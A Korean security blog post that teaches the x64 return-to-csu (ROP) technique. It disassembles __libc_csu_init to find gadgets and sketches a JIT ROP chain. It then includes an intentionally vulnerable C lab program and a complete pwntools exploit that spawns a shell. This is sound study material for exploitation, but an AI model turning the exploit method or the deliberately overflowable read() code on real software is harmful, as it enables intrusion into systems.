ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (627)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (14)
      • dreamhack (13)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

background/linux

return-to-csu x64 (RTC, JIT ROP)

2023. 1. 12. 23:11

return-to-csu는 __libc_csu_init() 함수의 일부 코드를 Gadget으로 이용하는 기술이다.

 

__libc_csu_init() 함수는 프로그램 실행 시

_init() 함수와 __preinit_array, __init_array 에 설정된 함수 포인터를 읽어서 함수를 호출한다.

gdb-peda$ disassemble __libc_csu_init
Dump of assembler code for function __libc_csu_init:
   0x00000000004011a0 <+0>:     endbr64 
   0x00000000004011a4 <+4>:     push   r15
   0x00000000004011a6 <+6>:     lea    r15,[rip+0x2c63]        # 0x403e10
   0x00000000004011ad <+13>:    push   r14
   0x00000000004011af <+15>:    mov    r14,rdx
   0x00000000004011b2 <+18>:    push   r13
   0x00000000004011b4 <+20>:    mov    r13,rsi
   0x00000000004011b7 <+23>:    push   r12
   0x00000000004011b9 <+25>:    mov    r12d,edi
   0x00000000004011bc <+28>:    push   rbp
   0x00000000004011bd <+29>:    lea    rbp,[rip+0x2c54]        # 0x403e18
   0x00000000004011c4 <+36>:    push   rbx
   0x00000000004011c5 <+37>:    sub    rbp,r15
   0x00000000004011c8 <+40>:    sub    rsp,0x8
   0x00000000004011cc <+44>:    call   0x401000 <_init>
   0x00000000004011d1 <+49>:    sar    rbp,0x3
   0x00000000004011d5 <+53>:    je     0x4011f6 <__libc_csu_init+86>
   0x00000000004011d7 <+55>:    xor    ebx,ebx
   0x00000000004011d9 <+57>:    nop    DWORD PTR [rax+0x0]
   0x00000000004011e0 <+64>:    mov    rdx,r14
   0x00000000004011e3 <+67>:    mov    rsi,r13
   0x00000000004011e6 <+70>:    mov    edi,r12d
   0x00000000004011e9 <+73>:    call   QWORD PTR [r15+rbx*8]
   0x00000000004011ed <+77>:    add    rbx,0x1
   0x00000000004011f1 <+81>:    cmp    rbp,rbx
   0x00000000004011f4 <+84>:    jne    0x4011e0 <__libc_csu_init+64>
   0x00000000004011f6 <+86>:    add    rsp,0x8
   0x00000000004011fa <+90>:    pop    rbx
   0x00000000004011fb <+91>:    pop    rbp
   0x00000000004011fc <+92>:    pop    r12
   0x00000000004011fe <+94>:    pop    r13
   0x0000000000401200 <+96>:    pop    r14
   0x0000000000401202 <+98>:    pop    r15
   0x0000000000401204 <+100>:   ret    
End of assembler dump.

 

이 중 강의에 나온 gadget1 코드는 다음과 같다.

   0x00000000004011fa <+90>:    pop    rbx
   0x00000000004011fb <+91>:    pop    rbp
   0x00000000004011fc <+92>:    pop    r12
   0x00000000004011fe <+94>:    pop    r13
   0x0000000000401200 <+96>:    pop    r14
   0x0000000000401202 <+98>:    pop    r15
   0x0000000000401204 <+100>:   ret

스택의 값을 레지스터에 저장한다.

 

gadget2 코드는 다음과 같다.

   0x00000000004011e0 <+64>:    mov    rdx,r14
   0x00000000004011e3 <+67>:    mov    rsi,r13
   0x00000000004011e6 <+70>:    mov    edi,r12d
   0x00000000004011e9 <+73>:    call   QWORD PTR [r15+rbx*8]

레지스터를 활용해 함수를 호출한다.

(r14, r13, r12d를 인자로 r15+rbx*8 주소에 있는 함수를 실행한다)

 

가젯으로 활용할 두 코드 사이에 있는 코드를 보자.

   0x00000000004011ed <+77>:    add    rbx,0x1
   0x00000000004011f1 <+81>:    cmp    rbp,rbx
   0x00000000004011f4 <+84>:    jne    0x4011e0 <__libc_csu_init+64>
   0x00000000004011f6 <+86>:    add    rsp,0x8

rbx += 1을 수행하고

rbp와 rbx를 비교해서 같지 않으면 __libc_csu_init+64로 분기한다.

분기하지 않도록 rbp에 1, rbx에 0을 할당해야 한다.

(근데 굳이 해줘야하나 싶지만 혹시 모르니 해주자)

 

[익스플로잇 시나리오]

1st ROP Chain
Use the write() function to extract the libc address stored in the __libc_start_main@GOT area.
Receive the following ROP code in the .bss area using the read() function.

write()함수로 libc 베이스를 구하고 .bss 영역에 read()함수로 쓴다.

 

2nd ROP Chain
"/bin/sh\x00"
Save "/bin/sh" to be passed as the first argument value of the execve() function in the "./bss" area.
JIT ROP - Use the write() function to output the libc file stored in memory.
Find the ROP Gadget you need in the output values.
Receive the following ROP code in the .bss area using the read() function.

read()함수로 .bss 영역에 "/bin/sh\x00"문자열을 박아둔다.

 

3th ROP Chain
Execute "/bin/sh" using the execve() system function.

박아둔 "/bin/sh\x00"문자열을 인자로 사용해 execve()함수를 호출한다.

 


실습에 사용된 예제 코드는 아래와 같다.

//gcc -no-pie -fno-stack-protector -o artc artc.c
#include <stdlib.h>
#include <unistd.h>

void win()
{
        system("/bin/sh");
}

void (*ptr)() = win;

int main(void)
{
        char buf[50];
        read(0, buf, 0x500);
        return 0;
}

artc.zip
0.00MB

PIE, Stack Protector옵션을 비활성화 했으므로 libc base 주소를 구할 필요 없이

오버플로우로 win() 함수만 실행시키면 된다.

 

main 함수를 디스어셈블한 코드는 아래와 같다.

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x000000000040116d <+0>:     endbr64 
   0x0000000000401171 <+4>:     push   rbp
   0x0000000000401172 <+5>:     mov    rbp,rsp
=> 0x0000000000401175 <+8>:     sub    rsp,0x40
   0x0000000000401179 <+12>:    lea    rax,[rbp-0x40]
   0x000000000040117d <+16>:    mov    edx,0x500
   0x0000000000401182 <+21>:    mov    rsi,rax
   0x0000000000401185 <+24>:    mov    edi,0x0
   0x000000000040118a <+29>:    call   0x401060 <read@plt>
   0x000000000040118f <+34>:    mov    eax,0x0
   0x0000000000401194 <+39>:    leave  
   0x0000000000401195 <+40>:    ret    
End of assembler dump.

rbp까지 거리는 0x40이다.

 

gadget1으로 레지스터를 아래와 같이 세팅해준다.

rbx: 0

rbp: 1

r12: 0

r13: 0

r14: 0

r15: ptr

 

최종 익스플로잇 코드는 아래와 같다.

from pwn import *

p = process('./artc')
e = ELF('./artc')

ptr = e.symbols['ptr']
gad1 = 0x4011fa
gad2 = 0x4011e0

pay = b'A'*0x48
pay += p64(gad1)
pay += p64(0) # rbx
pay += p64(1) # rbp
pay += p64(0) # r12
pay += p64(0) # r13
pay += p64(0) # r14
pay += p64(ptr) # r15
pay += p64(gad2)

p.send(pay)
p.interactive()
$ python rtc.py
[+] Starting local process './artc': pid 3510
[*] '/home/ssongk/pwn_ex/artc/artc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
$ id
uid=1000(ssongk) gid=1000(ssongk) groups=1000(ssongk)

 


레퍼런스

https://www.lazenca.net/display/TEC/01.Return-to-csu+%28feat.JIT+ROP%29+-+x64 

 

01.Return-to-csu (feat.JIT ROP) - x64 - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List return-to-csu (feat.JIT ROP) return-to-csu는 __libc_csu_init() 함수의 일부 코드를 Gadget으로 이용하는 기술 입니다.__libc_csu_init() 함수는 프로그램 실행시 _init()

www.lazenca.net

https://aidencom.tistory.com/1008

 

[ Pwn Tech ] RTC ( Return-to-csu, JIT ROP ) x64

Lazenca에 나온 내용을 정리한 글입니다. 제 글을 보는 것보다 Lazenca에 설명된 글을 읽는게 더 좋습니다. 📌 Contents ▪ __libc_csu_init ▪ RTC ▪ Training __libc_csu_init __libc_csu_init 은 리눅스에서 프로세스

41d3n.xyz

 

'background > linux' 카테고리의 다른 글

[how2heap] House of Force (glibc 2.27)  (0) 2023.03.26
Frame Pointer Overwirte (One Byte Overflow)  (0) 2023.03.26
[glibc-2.27] fwrite & fputs  (1) 2023.01.11
[glibc-2.27] fread & fgets  (0) 2023.01.09
[glibc-2.27] _IO_FILE & fopen  (1) 2023.01.07
    'background/linux' 카테고리의 다른 글
    • [how2heap] House of Force (glibc 2.27)
    • Frame Pointer Overwirte (One Byte Overflow)
    • [glibc-2.27] fwrite & fputs
    • [glibc-2.27] fread & fgets
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바